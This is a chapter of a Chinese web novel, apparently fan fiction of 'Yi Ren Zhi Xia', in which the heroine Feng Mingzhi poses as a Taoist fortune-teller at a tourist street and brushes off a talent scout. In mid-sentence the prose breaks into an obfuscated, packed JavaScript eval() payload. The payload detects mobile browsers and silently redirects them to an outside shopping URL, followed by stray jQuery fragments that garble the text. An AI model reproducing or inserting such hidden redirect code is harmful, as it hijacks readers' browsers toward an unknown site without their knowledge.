天空淅淅沥沥砸下豆大的雨点。
风明之从空间的祖宅药房里,取出一颗解毒丹送入嘴里,就着水一口气直接咽了下去,安静地走入雨中。
倒不是风明之中二病发作,知道自己被骗后感觉全世界都放弃了她,非要淋一场雨,纯粹是地方太偏,除了走路没有别的办法离开,不得已而为之。
工厂里的那帮全性只是因为炁消耗过度暂时失去行动能力。等他们恢复,她还逗留在工厂,免不了又是一场恶战。
“啊切!”
在火车站厕所给自己上好药,换了身干净衣服,风明之裹着新买的百分百聚酯纤维毛毯打了个大大的喷嚏。
等待火车发车的间隙,风明之打开手机对给她分享心理医生的郝意回了句谢谢,对骚扰她的王震球发了十几条60秒含家庭成员量极高的语音,将其拉黑。
也不知道是不是郝总的原因,这几天王震球倒是没来线下骚扰她,只在手机上烦她。
反正肯定是不能指望王震球所剩无几的良心,还是早早离开这里比较好。
想到最近夜夜噩梦睡不安稳的罪魁祸首,风明之还是没忍住在心底暗骂了一声贱人。
*
即将进入酷暑的午后阳光正烈,火车站内的空气中到处飘散着泡面和饭菜的香味。
出站后风明之做的第一件事,不是去填饱肚子,而是先去商城买了一堆化妆用品,随便在商城地下一层吃了碗面,回到旅店敷完面膜,又敷上厚厚一层的面霜,早早入睡。
第二天。
洗漱干净,风明之对着镜子确认脸上没有任何瑕疵后,小心翼翼地在额心点上一颗鲜红的朱砂痣。
从系统空间的祖宅里翻出一件白色道袍穿上,又从专门存放玉器的房间拿了串流珠。在全身镜前仔细打量确认没有问题后,满意地点点头,干不掉老年道士算命赛道,她可以去卷新赛道,拿上包信心满满地出了门。
*
明清宫苑景区外的步行街。
一处略显安静的角落,一位身着白色道袍的道长安坐于此。
绿意正浓的老槐树下,道长一头青丝被一根木簪束在头顶,额心一点红,衬得那张脸庞愈发清冷俊秀,宛如画中得道的神仙。
绕了几圈碧色道家流珠的手中捧着一本微微泛黄的《道德经》,时不时翻过一页,神情专注,仿佛周遭一切喧哗都与她无关。
不远处,几个背着包一看就是来游客的女生在离摊位几米开外的地方外徘徊,目光不断瞟向槐树下的白色身影。
“肯定是哪个剧组出来的演员吧,这气质绝了。”
“长得也太好看了。”
“要不去问问能不能合影?”
最终,一个短发女生被同伴推举出来站在最前面,几人忐忑地走到摊前。
风明之恰在此时缓缓抬眸。
几个女生呼吸一滞。
近看才发现,这位道长的眼睛瞳孔颜色偏浅,阳光下看上去像极了金棕色的玻璃珠,清澈又透亮。
“道长,”短发女生红着脸,声音发紧,“算……算命吗?”
风明之放下书,微微颔首,脖颈拉出一道清瘦好看的弧线。
“你想算什么?”
声音出来的那一刹那,挤在后头的几个女生同不约而同地倒吸一口气。
和她们想象中的冷清的声线不同,是非常温润柔和的女声,如沐春风般的声音与那身孤冷的气质形成了极具张力的反差。
“呜……!”
不知是谁先发出了一声压抑的惊呼,几个女孩子立马抓住了身边人的手激烈地晃动,眼睛亮得吓人,却死死咬着嘴唇不敢大声叫出来。
风明之仿佛对这场小小的骚动毫无所觉,只是静静等待着,目光温柔地看向最先开口的短发女生。
对上短发女生期待又紧张的目光,风明之嘴角浅浅弯起一个难以察觉的弧度,心里兴奋地打了一套拳,恨不得仰天长啸,但面上依旧是那幅波澜不惊的摸样。
稳住!
风明之,稳住!
冷清温柔道士的人设不能崩!
你要靠脸靠人设吃饭,稳住,你能行。
风明之将绕在右手虎口处的流珠缠在手腕上,拿起桌上的龟壳和铜钱,声音放得又轻又缓:“你想算什么?”
坐在对面的短发女生,视线直勾勾黏在她手腕上,愣愣地脱口而出:“真白。”
风明之往龟壳里装铜钱的手一顿,没憋住闷笑一声。
短发女生听到笑声,回过神来,意识到自己刚才说了什么,脸颊瞬间爆红。
她慌乱地摆手,生怕对方把自己当成流氓,赶忙解释:“我……我是说珠串白!啊不是,我……我是来算,算成绩的,我想算算能不能考上心仪的大学。”
风明之看着快要把自己埋进桌子里的女生,好笑地看向她身后的几个女生:“你们也算成绩?”
身后的几个女生齐刷刷地点头,其中一个扎着马尾的女生甚至还偷偷对着风明之比了个心。
风明之想了下没有让她们摇卦。
她们来她这的目的很明显,单纯看脸而已,算卦只是附带。若非真有执念要解,窥看命运未必是件好事。
风明之放下手里的龟壳,拿起桌边的毛笔沾上金墨,在喜庆的红丝带上挥墨写下前程似锦、金榜题名、心想事成之类的祝福语,然后把丝带递给她们:“前面不远处有棵专门用来祈福的古树,你们可以把这红带系上去祈福。”
几个女生小心翼翼地接过红带,脸颊绯红的和风明之合完影,手挽着手开开心心地去挂丝带去祈福去了。
不知道是不是之前的几个女生的缘故,接下来的几天,风明之摊前的客人明显多了起来。
知道自己是靠什么吸引客流,为了争取在横店的这段时间多挣点,风明之开始规律作息,早睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556590|204445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早起,每天精心护肤,力求将自己最好的一面展现出来。
因为被举报过一次封建迷信,风明之撤掉了算命的招牌,转而买来好几瓶不同颜色的墨水,专门用来写祝福语。
风明之的丝带定价不贵,五块钱一条,配上她出众的相貌,还额外提供免费合影和手写祝福语的服务,不少游客都乐意来她这儿买一条。
加上她调整了摆摊的时间,一天下来营业额稳定在三五百之间,正好处在一个挣得不多不少不会累,别人也不会因为嫉妒再恶意举报的状态。
给顾客写完祝福后,风明之搁下笔,拿起桌上包着道德经书皮的小说,重新看了起来。
不远处,一位大叔瞧见这一幕,眼睛一亮,兴奋地朝她走了过来。
觉察有人靠近,风明之淡定地将旁边的真周易压在道德经上,抬眼看向来人:“您想写点什么?”
男人看清她的正脸后,兴奋地递给她一张名片:“小朋友,想当明星吗?”
听到男人不是来买丝带的,风明之瞬间失去兴趣,敷衍地回了句:“不想。”
且先不说公司会不会允许一个异人成为影响力巨大的明星,就光凭她小时候干过的那些事,但凡自己当了明星张灵玉他们光靠轮流卖她的黑料,就能轻松赚得盆满钵满,过上衣食无忧的日子。
“我们繁星娱乐可是大公司,xx和xxx都是我们公司捧出来的,只要你和我签约,我保证一年内绝对让你大红大紫。”
风明之再次回绝了对方的大饼:“我没有当明星的打算。”
男人像是没听见或者说选择性地忽略了风明之的话,继续蛊惑道:“看你这模样,是暑假出来体验生活勤工俭学吧?每天在这小摊子风吹日晒的,能挣几个钱?只要你点头,我保证你一年能赚这个数。”
说着,男人用手比了个数字晃了晃,他就不信这人不心动。
风明之轻轻转了转手里的珠串,眼里没有丝毫动摇和向往:“大叔,我是出家人,对这些不感兴趣。”
风明之拒绝得很干脆,她只是没钱,又不是真的穷。想有钱简单得很,随便卖一两件茶具和藏书阁里的古籍轻轻松松就能获得一大笔钱。
虽然风氏没有收集金银珠宝的癖好,可这么多年流传下来的积累也不可小觑,很多当时不是古董的物件到现在也全都变成了古董。
风明之虽然不知道这些具体价值几何,不过以师傅非好物不用的生活习惯,她敢肯定这些都不是什么便宜货。
“出家人?你?”男人被她的话噎了一下,“你年纪轻轻就出家,你父母能同意?”
男人质疑的语气里的充斥着对风明之的不信任。
风明之看了他一眼语气,淡淡道:“我是孤儿,没有父母。”
男人显然没料到这个答案,表情变得有些尴尬。
他把名片推到风明之面前:“如果你改变想法了,随时联系我。”